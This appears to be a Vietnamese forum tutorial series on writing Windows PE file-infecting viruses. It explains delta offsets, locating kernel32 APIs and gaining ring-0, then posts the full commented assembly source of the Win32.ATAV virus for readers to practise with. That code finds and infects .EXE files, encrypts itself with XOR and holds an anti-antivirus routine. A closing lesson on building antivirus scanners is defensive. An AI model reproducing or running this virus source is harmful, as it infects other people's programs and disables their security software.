Đây là hình tôi cắt từ tài liệu msdn của microsoft (đã giới thiệu khá đầy đủ). Như vậy bản thân header của tệp PE đã bao gồm cả header của tệp .exe trên DOS. Thậm chí các chương trình for windows hầu như đều có 1 đoạn code chạy trên DOS để in ra thông báo dạng “This program cannot be run in DOS mode”. Như thế một chương trình có thể vừa for win vừa for dos được không? Câu trả lời là được và VR cũng vậy.
OK, vậy là ta đã có thể lây lan được tệp PE rồi phải không ạ? Chi tiết hơn một chút về kỹ thuật, ta dùng gì để ghi lên các tệp đây? Trên dos thông thường ta lợi dụng bản thân các ngắt của DOS để ghi, cụ thể là ngắt 21h. Tương tự nền tảng trên win là các API, hãy tận dụng tối đa. VR chỉ là một đoạn code. Vị trí của nó thay đổi theo kích thước host chính vì vậy các offset tuyệt đối bị di rời loạn xạ. Lưu ý với VXer là phải sử dụng địa chỉ tương đối cho các biến của mình. Đã từng làm VR trên DOS chắc các bạn đều rõ điều này. Kỹ thuật cổ xưa vẫn áp dụng được. Đấy là thao tác dùng delta:
call Delta
Delta:
pop ebp
Khi gọi ngắt trên dos, địa chỉ ngắt luôn được HĐH tự động xác định qua bảng vector ngắt. Cứ việc gọi int xxx (0CD/xxx) việc còn lại là của CPU. Với API lại khác. API thực chất chỉ là các hàm thư viện viết sẵn của HĐH và load lên bộ nhớ như một chương trình. Để gọi được nó cần có địa chỉ của nó trong tay. Đương nhiên câu hỏi được đặt ra là vậy các chương trình “hợp pháp” gọi API như thế nào? Ta quay trở lại với khái niệm cơ bản trên windows. Các chương trình sau khi biên dịch đều có một bảng import table. Các hàm API chương trình sẽ sử dụng đều được ghi trong import table. Khi chương trình chạy windows loader sẽ làm nhiệm vụ xây dụng một bảng địa chỉ IAT (import address table) cho các hàm này. Thật đáng tiếc ta không thể thay đổi bảng này vì windows đã để mắt đến nó. Vì vậy để goi API từ VR ta phải làm lại thao tác của loader và xây dựng bản địa chỉ riêng.
Khi đó lệnh gọi tương đối hàm API sẽ có dạng
call [ebp+_
ebp+_
APIs nó nằm ở đâu bạn không hề biết, làm sao bây giờ. Đâu có đó, thịt chó còn có rau thơm. Windows cung cấp cho ta một hàm để lấy địa chỉ các làm API theo tên là hàm là GetProcAddress. Vấn đề là ở đây là GetProcAddress cũng là 1 hàm API. :ph34r: Vậy yêu cầu tối thiểu là phải có địa chỉ 1 hàm GetProcAddress trong Windows. Hàm này thuộc kernel của win nên bây giờ câu hỏi chỉ còn kernel của windows nằm ở đâu. Trả lời điều này dễ hơn nhiều. Ta có ngay một danh sách:
0BFF70000h = Win95 Kernel Addr
077F00000h = WinNT Kernel Addr
077e00000h = Win2k Kernel Addr
Ta có thể yên tâm sử dụng cho đến khi Microsoft thay đi mất. :huh:
Thường trú
Thao tác thường trú thực chất nhằm tăng khả năng lây lan và kiểm soát hệ thống. DOS là hệ điều hành đơn nhiệm, tốc độ các máy thời xưa không nhanh lắm. Nếu thao tác lây lan chỉ thực hiện lúc đầu khi ta chưa khả quyền điều khiển về host sẽ làm chậm thao tác load của chương trình ngoài ra phạm vi tìm kiếm của chương trình tương đối hẹp nên nên lây lan không đa dạng và nhanh chóng. Với tốc độ máy hiện nay, và với khả năng đa nhiệm của Win điều này không còn quá quan trọng như xưa. Thực tế số lượng VR không thường trú trên Win nhiều hơn Dos rất nhiều. Tuy vậy ta đã quá quen với VR thường trú, khi VR không thường trú VXer có cảm giác mình chưa thực sự kiểm soát máy nạn nhân (tôi cũng vậy). Để có một VR không thường trú trên Win không khó lắm. Bất quá cũng chỉ là một chương trình đọc ghi tệp bằng API viết trên ASM. Bạn đã lập VR trên DOS, đọc qua header PE file -> done. Thường trú trên Win không đơn giản như vây. Cái khó của ta là gì? Protected mode!
Vây có cách nào vượt qua protected mode không? Có chứ nhiều là đằng khác. Sau khi suy nghĩ tôi quyết định chọn giới thiệu cho các bạn 2 cách đơn giản nhất và kỹ thuật cao nhất. Nhưng trước hết Protected mode là gì.
Chúa ơi, muộn quá rồi. Tôi phải đi ngủ vậy không ngày mai toi mất. Vì thời gian có hạn không thể trình bày chi tiết hơn được các bác thông cảm. Có gì thắc mắc cứ post lên tôi sẽ từ từ giải đáp sau.
Ta lại tiếp tục nhé. Lần trước tôi dừng ở đâu nhỉ? Protected Mode là gì. Windows làm việc trong một môi trường bảo vệ. Nhờ đó nó có thể kiểm soát được các thao tác truy nhập cấp thấp của các ứng dụng. Đến đây có sự phân hoá mức độ an toàn bảo vệ khá rõ giữa các windows. Ta phân tích với win9x để lấy khái niệm rồi các bài sau ta sẽ đưa ra các tips&tricks có thể lợi dụng của win2k/xp
Vector ngắt:
Lên windows thường có một câu hỏi ai cũng nghĩ đến là các vector ngắt đi đâu và liệu ta có sử dụng được các ngắt ngày xưa không? Xét một cách sâu xa, ngắt (interrupt) không phải chỉ là khái niêm của hệ điều hành. Đây là tính năng của bộ vi xử lý. Thực ra trên windows các ngắt vẫn có chứ không biến mất. Việc gọi các vector ngắt windows vẫn hỗ trợ nhưng kiểm soát và hạn chế hơn rất nhiều. Các thao tác “bá đạo” như VR hay một chương trình lập trình hệ thống hay làm sử dụng các ngắt truy nhập cấp thấp sẽ gây ra lỗi bảo vệ. Trước kia trên DOS các vector ngắt có thể thay đổi dễ dàng bằng cách thay đổi địa chỉ trong bảng vector ngắt IVT (Interrupt Vector Table), trong chế độ protected bảng IDT (Interrupt Descriptor Table) sẽ lưu giữ các vector ngắt này. Thay đổi IDT có thể tạo cho ta hiệu ứng tương đương như trên dos nhưng việc này chẳng dễ dàng tí nào cả.
Bộ nhớ:
Để có chế độ bảo vệ, windows không thể đạt được nếu chỉ dựa vào phần mềm. Đây là nhờ có sự trợ giúp kiểm soát của phần cứng đặc biệt là bộ vi xử lý. Các ứng dụng chạy trong chế độ bảo vệ của windows thường có bảng IDT/IVT và bộ nhớ riêng và chạy như một hệ thống khép kín đọc lập. Mọi thao tác trực tiếp đến vùng nhớ ngoài ứng dụng đều gây ra lỗi bảo vệ (truy nhập không hợp lệ).
Rings:
Vậy bản thân windows kiểm soát hệ thống ở cấp thấp như thế nào? Ta có khái niệm rings. Đây là các “đặc quyến” các ứng dụng trên win có thể có. Một chương trình thông thường chạy ở ring-3 (có ít sức mạnh nhất) và kernel hệ thống chạy ở ring-0 có đặc quyền tối thượng. Việc cướp ring-0 của win sẽ cho ta sức mạnh kiểm soát toàn bộ hệ thống. Bạn muốn xoá CMOS (cổng 70h) ư? Hay đơn giản là kêu trên PC một âm thanh qua port timer? Bạn phải có ring-0. Bạn muốn có bảng vector ngắt riêng? Lại là ring-0. Việc của win là nắm chắc ring-0 còn việc của ta là cướp nó. Có một số sơ hở của windows dẫn đến các VXer lợi dụng cướp được ring-0 (ví dụ như VR nổi tiếng CIH). Tôi đã thử một vài kỹ thuật như vậy và sẽ trình bày lại với các bạn nhưng thật đáng tiếc tôi chưa bao giờ thành công với winNT/2k/xp.
Các kiến thức nho nhỏ tôi vừa trình bày chung quy chỉ để giải quyết vấn đề thường trú và kiểm soát hệ thống. Thường trú trên DOS rất dễ, ta có thể thay đổi khối nhớ MCBs của DOS hay đơn giản là tìm khoảng nhớ nào ít người dùng thì điềm nhiên “chui vào”. Ở chế độ bảo vệ, ta không làm được như vậy. Tôi đã hứa đưa ra 2 cách, một là cách đơn giản nhất, 2 là cách sử dụng kỹ thuật cao. Các bạn có thể đoán được cách thứ 2 là rings.
hừmm.. thời gian trôi nhanh quá lúc nào tôi rảnh ta sẽ lại tiếp tục nhé. Bác nào trợ giảng hay có tài liệu gì hay giải thích thêm đều rất hoan nghênh. Hẹn gặp lại bài sau
Spinx
Thực hành:
Định hòan thành một bài viết đã lâu nhưng nhìn cái policy của diễn đàn nên chưa dám. Hiện nay diễn đàn không khuyết khích hướng dẫn quảng bá lập trình virus cho newbie nữa, hơn nữa chắc các bạn cũng có thể thấy qua là các kỹ thuật ở đây rất khó và sâu. Vì vậy tôi sẽ post nốt bài này thôi, có gì thắc mắc các bác cố phấn đấu mấy seo rồi vào Elite Member lập topic ta thảo luận tiếp nhe. Đây là sourcecode virus Win32.ATAV của Radix16[MIONS] rất thuận tiện cho học VR trên win. Tôi không dám hướng dẫn nữa đâu, chỉ post lên để các bác xem qua xem “chúng nó” viết VR thế nào thôi. Đây cũng là minh họa cho mấy phần tôi đã trình bày và là ví dụ để các bác tập trainning on the job cho các phần tôi chưa kịp trình bày. VR có sử dụng vài thư viện nhỏ của nhóm VR rất thành danh là 29A
Thân,
spinx
P/S: mấy điểm cần chú ý: VR này có sử dụng kỹ thuật mã hóa đơn giản bằng xor tÄ©nh (tôi không muốn đưa ra code mã hóa đa hình phức tạp sẽ khó theo dõi), có cài code anti-debug, và kỹ thuật bẫy lỗi SEH. Nó có cài anti-AV nhưng chưa sử dụng nó và đây là bản rất sơ đẳng để thực tập viết VR
.386p
.Model Flat
jumps
.Data
db ?
extrn GetModuleHandleA :proc
extrn ExitProcess :proc
extrn MessageBoxA :proc
VirusSize equ Virus_End-Start
SizeCrypt equ Crypt_End-Crypto
include mz.inc
include pe.inc ;include files from Jacky Qwerty/29A
include win32api.inc
include useful.inc
.Code
Virus_Size equ Virus_End-Start
Start:
pushad
;Sử dụng kỹ thuật bẫy lỗi SEH, kỹ thuật này rất, rất hấp dùng không chỉ cho lập trình VR mà cần cho lập trình hệ thống nói chung.
;Nhưng tôi sẽ không trình bày sâu hơn ở đy, tài liệu nó có rất nhiều trên net, các bác tập nghiên cứu thêm.
@SEH_SetupFrame
xchg [edx], eax
seh_fn:
call Base1
Base1:
pop ebp
sub ebp,offset Base1
FirstGeneration:
call Mutate1
Crypto:
Virus_Start:
;Quét kernel nhằm tìm APIs tôi đã trình bày ở trên (xem lại bài học)
call Kernel?
mov esi, ebx
mov ebx,[esi+10h]
add ebx,[ebp + imagebase]
mov [ebp + offset f_RVA],ebx
mov eax,[esi]
jz Not_Found_Kernel32
mov esi,[esi]
add esi,[ebp + offset imagebase]
mov edx,esi
mov ecx,[ebp+offset importsize]
mov eax,0
Jmp Get_Module_Handle
coded db 'Win32.ATAV ©oded by Radix16[MIONS]',0
maintext db 'Heayaaa',0
Kernel?:
mov esi,[ebp + offset imagebase]
cmp word ptr[esi],'ZM'
jne GetEnd
add esi,3ch
mov esi,[esi]
add esi,[ebp + offset imagebase]
push esi
cmp word ptr [esi], 'EP' ;Win App PE
jne GetEnd
add esi, 28h
mov eax, [esi]
mov [ebp+entrypoint], eax
pop esi
add esi,80h
mov eax,[esi]
mov [ebp+importvirtual],eax
mov eax,[esi+4]
mov [ebp+importsize],eax
mov esi,[ebp+importvirtual]
add esi,[ebp + offset imagebase]
mov ebx,esi
mov edx,esi
add edx,[ebp + importsize]
Search_Kernel:
mov esi,[esi + 0ch]
add esi,[ebp + offset imagebase]
cmp [esi],swKernel32
Je K32Found
add ebx, 14h
mov esi, ebx
cmp esi, edx
jg Not_Found_Kernel32
jmp Search_Kernel
K32Found:
ret
Not_Found_Kernel32:
mov eax, dword ptr [esp]
find_base_loop:
cmp dword ptr [eax+0b4h], eax
je Found_Adress
dec eax
cmp eax, 40000000h
jbe assume_hardcoded
jmp find_base_loop
assume_hardcoded:
mov eax, 0BFF70000h ;không tìm thấy ta có thể hardcode Địa chỉ kernel (xem lại bài học)
cmp word ptr [eax], 'ZM' ;kiểm tra image của kernel
je Found_Adress
mov eax, 07FFF0000h
Found_Adress:
mov [ebp+offset Kernel32], eax
mov edi, eax
cmp word ptr [edi],'ZM'
jne GetEnd
mov edi, [edi+3ch]
add edi, [ebp+offset Kernel32]
cmp word ptr [edi],'EP'
jne GetEnd
pushad
mov esi,[edi+78H]
add esi,[ebp+offset Kernel32]
mov [ebp+offset Export],esi
add esi,10H
lodsd
mov [ebp+offset basef],eax
lodsd
lodsd
mov [ebp+offset limit],eax
add eax, [ebp+offset Kernel32]
lodsd
add eax,[ebp+offset Kernel32]
mov [ebp+offset AddFunc],eax
lodsd
add eax, [ebp+offset Kernel32]
mov [ebp+offset AddName],eax
lodsd
add eax,[ebp+offset Kernel32]
mov [ebp+offset AddOrd],eax
mov esi,[ebp+offset AddFunc]
lodsd
add eax,[ebp+offset Kernel32]
mov esi, [ebp+offset AddName]
mov [ebp+offset Nindex], esi
mov edi,[esi]
add edi,[ebp+offset Kernel32]
mov ecx,0
mov ebx,offset API_NAMES
add ebx,ebp
TryAgain:
mov esi,ebx
MatchByte:
cmpsb
jne NextOne
cmp byte ptr [edi], 0
je GotIt
jmp MatchByte
NextOne:
inc cx
cmp cx, word ptr [ebp+offset limit]
jge GetEnd
add dword ptr [ebp+offset Nindex], 4
mov esi, [ebp+offset Nindex]
mov edi, [esi]
add edi, [ebp+offset Kernel32]
jmp TryAgain
GotIt:
mov ebx,esi
inc ebx
shl ecx,1
mov esi, [ebp+offset AddOrd]
add esi,ecx
xor eax,eax
mov ax,word ptr [esi]
shl eax, 2
mov esi,[ebp+offset AddFunc]
add esi,eax
mov edi,dword ptr [esi]
add edi,[ebp+offset Kernel32]
mov [ebp+offset ddGetProcAddress], edi
popad
mov esi, offset swExitProcess
mov edi, offset ddExitProcess
add esi, ebp
add edi, ebp
;Quét địa chỉ các hàm APIs (xem lại bài học)
Repeat_find_apis:
push esi
mov eax,[ebp+offset Kernel32]
push eax
mov eax,[ebp+offset ddGetProcAddress]
call eax
cmp eax,0
je GetEnd
stosd
repeat_inc:
inc esi
cmp byte ptr [esi], 0
jne repeat_inc
inc esi
cmp byte ptr [esi], 0FAh
jne Repeat_find_apis
Jmp Virus_Game
Get_Module_Handle:
cmp dword ptr [edx],0
je Not_Found_Kernel32
cmp byte ptr [edx+3],80h
je Not_Here
mov esi,[edx]
push ecx
add esi,[ebp + offset imagebase]
add esi,2
mov edi,offset gmhGetModuleHandleA
add edi,ebp
mov ecx,gmhsize
rep cmpsb
pop ecx
je f_GetModuleHandelA
Not_Here:
inc eax
add edx,4
loop Get_Module_Handle
jmp Not_Found_Kernel32
f_GetModuleHandelA:
shl eax,2
mov ebx,[ebp+offset f_RVA]
add eax,ebx
mov eax,[eax]
mov edx,offset se_Kernel32
add edx,ebp
push edx
call eax
cmp eax,0
jne Found_Adress
Jmp Not_Found_Kernel32
Virus_Game:
push offset SystemTime
mov eax,[ebp + ddGetSystemTime]
call eax
cmp byte ptr [SystemTime.wMonth],0Ah
jne Next_Game
cmp byte ptr [SystemTime.wDay],0Fh
jne Next_Game
jmp Ok_Day_Month
Next_Game:
mov dword ptr [ebp+offset infections], 0Ah
call SearchFiles
inc eax
jz GetEnd
dec eax
push eax
mov ecx,[edi.FileSizeLow] ;zisti velikost souboru
lea esi,[edi.FileName]
call Infect
jc _try
dec dword ptr [ebp+offset infections]
cmp word ptr [ebp+offset infections], 0
je All_Done
_try:
push edi
lea edi, [edi.FileName]
mov ecx, 13d
mov al, 0
rep stosb
pop edi
pop eax
push eax
push edi
push eax
call dword ptr [ebp+offset ddFindNextFileA]
test eax,eax
jz All_Done
mov ecx,[edi.FileSizeLow] ;zisti velikost souboru
lea esi,[edi.FileName]
call Infect
jc failinfection
dec dword ptr [ebp+infections]
failinfection:
cmp dword ptr [ebp+infections], 0
jne _try
All_Done:
pop eax
GetEnd:
cmp ebp, 0
je _exit
mov eax,[ebp + offset oldip]
add eax,[ebp + offset imagebase]
jmp eax
_exit:
push 0
mov eax, [ebp+offset ddExitProcess]
call eax
PEheader dd 0
oldip dd 0
oldsize dd 0
newsize dd 0
incsize dd 0
newip dd 0
;Bắt đầu lây nhiễm lên PE
Infect proc
pushad
add ecx,VirusSize ;kích thước VR
mov word ptr [ebp+infectionflag], 0
mov [ebp + offset memory],ecx
call OpenFile ;mở tệp lây nhiễm
mov [ebp+offset filehandle], eax ;
inc eax ; eax -1
jz Endus
call CMapFile
or eax,eax
jz Endus
call MapView
or eax,eax
jz Exit_Map
mov esi,eax
mov [ebp+offset mapaddress],esi
cmp word ptr[esi],'ZM' ;mã tệp EXE
jne UnMapw
mov ebx,dword ptr[esi+3ch]
cmp word ptr [esi+ebx],'EP' ;mã tệp PE
jne UnMapw
add esi,ebx
mov [PEheader+ebp], esi
mov eax, [esi+28h]
mov [oldip+ebp],eax
mov eax,[esi+3ch]
push eax
xor eax, eax
mov ebx,[esi+74h]
shl ebx,3
mov ax,word ptr [esi+6h]
dec eax
mov ecx,28h
mul ecx
add esi,78h
add esi,ebx
add esi,eax
or dword ptr ds:[esi+24h],0A0000020h
mov eax,[esi+10h]
mov [oldsize+ebp],eax
add dword ptr [esi+8h],VirusSize
mov eax,[esi+8h]
pop ebx
mov ecx,ebx
div ecx
mov ecx,ebx
sub ecx,edx
mov [esi+10h],ecx
mov eax,[esi+8h]
add eax,[esi+10h]
mov [esi+10h],eax
mov [ebp+offset newsize], eax
mov eax,[esi+0ch]
add eax,[esi+8h]
sub eax,VirusSize
mov [newip+ebp],eax
mov eax,[ebp+offset oldsize]
mov ebx,[ebp+offset newsize]
sub ebx,eax
mov [ebp+offset incsize], ebx
mov eax,[esi+14h]
add eax,[ebp+offset newsize]
mov [ebp+offset newfilesize], eax
mov eax, [esi+14h]
add eax,[esi+8h]
sub eax,VirusSize
add eax,[ebp+offset mapaddress]
call Write_File
mov esi,[ebp+offset PEheader]
mov eax,[newip+ebp]
mov [esi+28h],eax
mov eax, [ebp+offset incsize]
add [esi+50h], eax
UnMapw:
push dword ptr [ebp+offset mapaddress]
mov eax, [ddUnmapViewOfFile+ebp]
Call eax
Exit_Map:
push dword ptr [ebp+offset maphandle]
mov eax,[ddCloseHandle+ebp]
call eax
push dword ptr [ebp+offset filehandle]
mov eax, [ddCloseHandle+ebp]
call eax
Jmp Complete?
infection_error:
stc
jmp Endus
Complete?:
cmp word ptr [ebp+offset infectionflag], 0FFh
je infection_error
clc
Endus:
popad
ret
Infect endp
SearchFilesN proc
ret
SearchFilesN endp
;Tìm kiếm file “nạn nhân”
SearchFiles proc
lea edi,[ebp + offset search]
mov eax,edi
push eax
lea eax,[ebp + offset _Exe]
push eax
call dword ptr[ebp+offset ddFindFirstFileA]
ret
SearchFiles endp
memory dd 0
maphandle dd 0
mapaddress dd 0
CMapFile proc
push 0
push dword ptr [ebp+offset memory] ;
push 0
push PAGE_READWRITE ;R/W
push 0
push dword ptr [ebp+offset filehandle] ;handle
mov eax,dword ptr [ddCreateFileMappingA+ebp]
call eax
mov [ebp+offset maphandle], eax
ret
CMapFile endp
MapView proc
push dword ptr [ebp+offset memory]
push 0
push 0
push FILE_MAP_ALL_ACCESS
push eax
mov eax,[ddMapViewOfFile+ebp]
call eax
ret
MapView endp
filehandle dd 0 ;rukojet souboru
OpenFile proc
push 0 ;Atribute
push 0
push 3 ;Có overwrite (xem lại mô tả hàm API CreateFileA)
push 0
push 1
push 80000000h or 40000000h ;read & write
push esi ;tên tệp
mov eax, [ddCreateFileA+ebp] ;
Call eax ;gọi hàm API
ret ;zpet
OpenFile endp ;v eax je rukojet souboru
;Kỹ thuật Anti-AV. Tất cả trình bày trong Kỹ thuật lập trình VR thì phải. Đây là cách “giết người diệt khẩu” nếu có AV dám lảng vảng
Kick_AV proc
push eax
cdq
push edx
; call FindWindowA
xchg eax, ecx
jecxz quit
push edx
push edx
push 12h
push ecx
; call PostMessageA
quit:
ret
Kick_AV endp
Delete_AV proc
Delete_AV endp
Ok_Day_Month:
nop
imagebase dd 00400000h
swKernel32 = 'NREK'
Kernel32 dd 00000000h
importvirtual dd ?
importsize dd ?
entrypoint dd ?
f_RVA dd ?
Nindex dd 0
basef dd 0
Export dd 0
limit dd 0
AddFunc dd 0
AddName dd 0
AddOrd dd 0
newfilesize dd 0
infectionflag dw 0
gmhGetModuleHandleA db 'GetModuleHandleA',0
gmhsize = $-gmhGetModuleHandleA
API_NAMES:
swGetProcAddress db 'GetProcAddress',0
swExitProcess db 'ExitProcess',0
swGetVersion db 'GetVersion',0
swFindFirstFileA db 'FindFirstFileA',0
swFindNextFileA db 'FindNextFileA',0
swGetCurrentDirectory db 'GetCurrentDirectoryA',0
swSetCurrentDirectory db 'SetCurrentDirectoryA',0
swDeleteFile db 'DeleteFileA',0
swCreateFileMapping db 'CreateFileMappingA',0
swMapViewOfFile db 'MapViewOfFile',0
swUnmapViewOfFile db 'UnmapViewOfFile',0
swGetFileAttributes db 'GetFileAttributesA',0
swSetFileAttributes db 'SetFileAttributesA',0
swGetDriveType db 'GetDriveTypeA',0
swCreateFile db 'CreateFileA',0
swCloseHandle db 'CloseHandle',0
swGetFileTime db 'GetFileTime',0
swSetFileTime db 'SetFileTime',0
swSetFilePointer db 'SetFilePointer',0
swGetFileSize db 'GetFileSize',0
swSetEndOfFile db 'SetEndOfFile',0
swGetSystemTime db 'GetSystemTime',0
swGetModuleHandle db 'GetModuleHandleA',0
swWriteFile db 'WriteFile',0
db 0FAh
ddGetProcAddress dd 0
ddExitProcess dd 0
ddGetVersion dd 0
ddFindFirstFileA dd 0
ddFindNextFileA dd 0
ddGetCurrentDirectoryA dd 0
ddSetCurrentDirectoryA dd 0
ddDeleteFileA dd 0
ddCreateFileMappingA dd 0
ddMapViewOfFile dd 0
ddUnmapViewOfFile dd 0
ddGetFileAttributesA dd 0
ddSetFileAttributesA dd 0
ddGetDriveTypeA dd 0
ddCreateFileA dd 0
ddCloseHandle dd 0
ddGetFileTime dd 0
ddSetFileTime dd 0
ddSetFilePointer dd 0
ddGetFileSize dd 0
ddSetEndOfFile dd 0
ddGetSystemTime dd 0
ddGetModuleHandleA dd 0
ddWriteFile dd 0
max_path EQU 260
se_Kernel32 db 'KERNEL32.dll',0
Anti_AV:
_Grisoft db 'avg?????.dat',0
_AVP db 'AVP.CRC',0
_TBAW db 'anti-vir.dat',0
_MSAV db 'CHKLIST.MS',0
_Kaspersky_ db 'AVP Monitor',0
_Grisoft_ db 'AVG Control Center',0
_Exe db '*.EXE',0
infections dd 0
fnx dd 0
Crypt_End:
Mutate1:
mov ecx,SizeCrypt
lea esi,[ebp + Crypto]
decr:
xor dword ptr [esi],0FFh
inc esi
loop decr
End_Mutate:
ret
Write_File proc
call Mutate1
mov edi, eax
lea esi,[Start+ebp]
mov ecx, VirusSize
rep movsb
call Mutate1
ret
Write_File endp
Virus_End:
SYSTEMTIME struct
wYear WORD ?
wMonth WORD ?
wDayOfWeek WORD ?
wDay WORD ?
wHour WORD ?
wMinute WORD ?
wSecond WORD ?
wMilliseconds WORD ?
ends
filetime STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
filetime ENDS
win32_find_data STRUC
FileAttributes DD ?
CreationTime filetime ?
LastAccessTime filetime ?
LastWriteTime filetime ?
FileSizeHigh DD ?
FileSizeLow DD ?
Reserved0 DD ?
Reserved1 DD ?
FileName DB max_path DUP (?)
AlternateFileName DB 13 DUP (?)
DB 3 DUP (?)
win32_find_data ENDS
search win32_find_data ?
SystemTime SYSTEMTIME <>
windir db 128h dup(0)
sysdir db 128h dup(0)
crtdir db 128h dup(0)
Virtual_End:
;thuật toán mã hóa sử dụng hơi ... ruồi quá nhưng cũng tiện để học cho newbie
First_Gen:
pushad
call Next_Gen
Next_Gen:
pop ebp
sub ebp,offset Next_Gen
mov ecx,SizeCrypt
lea esi,[ebp + Crypto]
decri:
xor dword ptr [esi],0FFh
inc esi
loop decri
push 0
push offset TextF
push offset TextF1
push 0
call MessageBoxA
popad
Jmp Start
TextF db 'Win32.ATAV by Radix16[MIONS]',0
TextF1 db 'First generation sample',0
End First_Gen
;The End
BÀI 5: TỰ VIẾT CHƯƠNG TRÌNH DIỆT VIRUS
Author: spinx
Tôn trọng mục đích của diễn đàn là "hướng thiện" tôi sẽ không đề cập đến nghệ thuật hắc ám nữa ở đây.
1. Để làm được một chương trình diệt VR chúng ta cần gì?
- Một ngôn ngữ lập trình: cái này không thể thiếu được rồi, bạn phải giỏi sử dụng một ngôn ngữ lập trình nào đó. Tuỳ theo sở thích, có thể là C, pascal, vb, ... Ngôn ngữ nào cũng có thể dùng để viết chương trình diệt được cả chỉ có điều chúng ta sẽ diệt cả VR for win nên tốt nhất chọn một ngôn ngữ for win có càng nhiều tính năng can thiệp cấp thấp một chút càng tốt như C, delphi hay vb cũng được
- Kiến thức assembler: tại sao lại phải học thứ khó nhá này vậy? Thứ nhất là vì rất nhiều VR được xây dựng trên ngôn ngữ này, thứ 2 là khi tung VR ra các VXer thường là không đưa source cho bạn coi. Nếu không đọc code của họ dưới dạng mã máy thì làm sao được
- Công cụ debug: sử dụng thành thạo công cụ và tích luỹ cho mình kinh nghiệm debug mã máy rất cần thiết trong quá trình đọc và giải mã VR
-
2. Phân loại virus
Thực ra VR bây giờ phát triển khá đa dạng nên cũng khó đặt ra một định nghĩa chung cho tất cả được. Căn cứ vào các đặc điểm như đối tượng lây nhiễm, cách thức lây nhiễm, kỹ thuật sử dụng và tác hại người ta có thể phân loại ra và định nghĩa ra một số VR chính. Tôi cũng mạn phép phân loại cho các bác thế này:
- Virus boot:
Là một đoạn code có khả năng lây nhiễm vào master boot hoặc boot sector ổ đĩa cứng/mềm. Thay thế đoạn code khởi động máy trên boot. Thường trú và tự sao chép sang boot ổ đĩa khác.
- Virus tệp khả thi:
Là đoạn code có khả năng tự sao chép bản thân nó vào các tệp khả thi của hệ điều hành. Tuỳ theo loại VR overwrite hay không overwrite mà tệp gốc sau lây nhiễm có thể chạy bình thường hoặc không chạy được nữa. Tệp khả thi ở đây là các tệp "chạy được" như .exe, .com trên dos, tệp PE, .dll... trên win, tệp elf trên unix... thậm chí cả các tệp kiểu như .msi
- Worm
Thường là các đoạn script viết cho các ứng dụng web hoặc email. Lây lan bằng cách tự sao chép hoặc dùng email của nạn nhân này email bản thân nó cho các nạn nhân khác. Vì là ở dạng script nên cũng có thể nằm attach trong các trang web.
- Trojan
Đây là một chương trình chạy ngầm ngoài mong muốn của nạn nhân, có thể đọc các thông tin trên máy nạn nhân gửi về ứng dụng chủ hoặc email nào đó. Lây nhiễm do nạn nhân trót chạy tệp chứa trojan (do ai đó gửi). Trojan có thể biến thể thành một số dạng script (program dropper) attach vào trang web để dễ lừa nạn nhân. Trojan cũng có thể thêm bào một số khả năng lấy pass, đọc phím, điều khiển máy tính nạn nhân từ xa, hoặc là một backdoor mở thông các rào cản bảo mật để hacker xâm nhập.
- Macro
Là một ứng dụng macro trên word, excel... có thể tự sao chép khi chạy.
-Các dạng đặc biệt khác
Chiếm số ít kiểu như các worm trên CSDL hay program droper...
Tính năng phá hoại của VR là không bắt buộc, tuy nhiên bản thân VR đã thực thi các thao tác không chính quy. Cho dù không phá hoại vẫn để lại các tác hại như làm chậm máy, làm nghẽn mạng, chiếm dung lượng đĩa... Bản thân VR có thể chọn cho mình một hoặc nhiều đối tượng lây nhiễm khác nhau. Chính vì thế một con VR có thể rơi vào một hay nhiều loại ở trên
3. Vài khái niệm cơ bản
- P-String:
Như ta đã biết, đa số virus đều thể hiện ở dạng đoạn mã nằm “tá túc” trong các chương trình, các tệp .html, .doc... hay trên boot sector/MBR tùy theo loại VR nằm trên máy tính của nạn nhân . Để phát hiện được VR, cách đơn giản nhất là lấy được một đoạn code đặc trưng trên VR, tìm và quét tất cả các tệp trên đĩa (MBR/boot sector) xem có tệp nào chứa đoạn mã này không để xác định xem những tệp nào đã bị nhiễm VR. Yêu cầu của đoạn code mẫu nàu là phải thật đặc trưng cho VR để tránh nhầm lẫn với một chương trình khác. Các đoạn code như vậy được gọi là P-String (pattern string)
- Kỹ thuật mã hóa:
Để nhằm gây khó khăn cho các AVers khi debug và lấy mẫu, các VR thường được mã hóa. Key để mã hóa có thể được lấy động theo thời gian lây nhiễm, kích thước tệp nhiễm... Chính vì vậy toàn bộ code chính của VR thường không duy nhất và đặc trưng được nữa. Tuy vây VR vẫn phải giữ nguyên đoạn code để có thể giải mã VR khi chạy. Các P-String có thể sử dụng các đoạn mã giải code này.
- Kỹ thuật đa hình:
Cố gắng bịt nốt điểm yếu cuối cùng trong kỹ thuật mã hóa, các VXers có thể sử dụng thêm kỹ thuật đa hình. Sử dụng một polymorphic engine, đây mà một hàm được viết nhằm biến đổi một đoạn mã gốc thành nhiều hình thức khác nhau. Các bạn có thể hiểu nôm na khi có một đoạn code, ta có thể đảo vị trí code, chèn thêm các junk code, sử dụng nhiều bộ lệnh cùng chức năng... kết quả tạo ra một tập hợp rất nhiều đoạn code làm cùng chức năng giống nhau nhưng viết khác hẳn nhau. Sử dụng một polymorphic engine như vậy, mỗi bản sao VR tuy có cùng tính năng nhưng code không giống nhau (đa hình). Đặc biệt đoạn code mã hóa VR thường sử dụng kỹ thuật đa hình gây khó khăn rất nhiều cho AVer khi lấy mẫu. Một polymorphic engine có thể tạo ra hàng nghìn đoạn mã khác nhau cho đoạn mã hóa.
- Kỹ thuật Anti-AV
VR có thể sử dụng các kỹ thuật cống debug, chống disassembler, anti-bait... để gây khó khăn khi chẩn đoán VR (xem thêm bài Kỹ thuật lập trình VR – spinx). AVer phải hết sức tỉnh táo khi debug
4. Xây dựng search engine cho chương trình diệt VR:
....
(to be continue)
Benina tổng hợp 2008.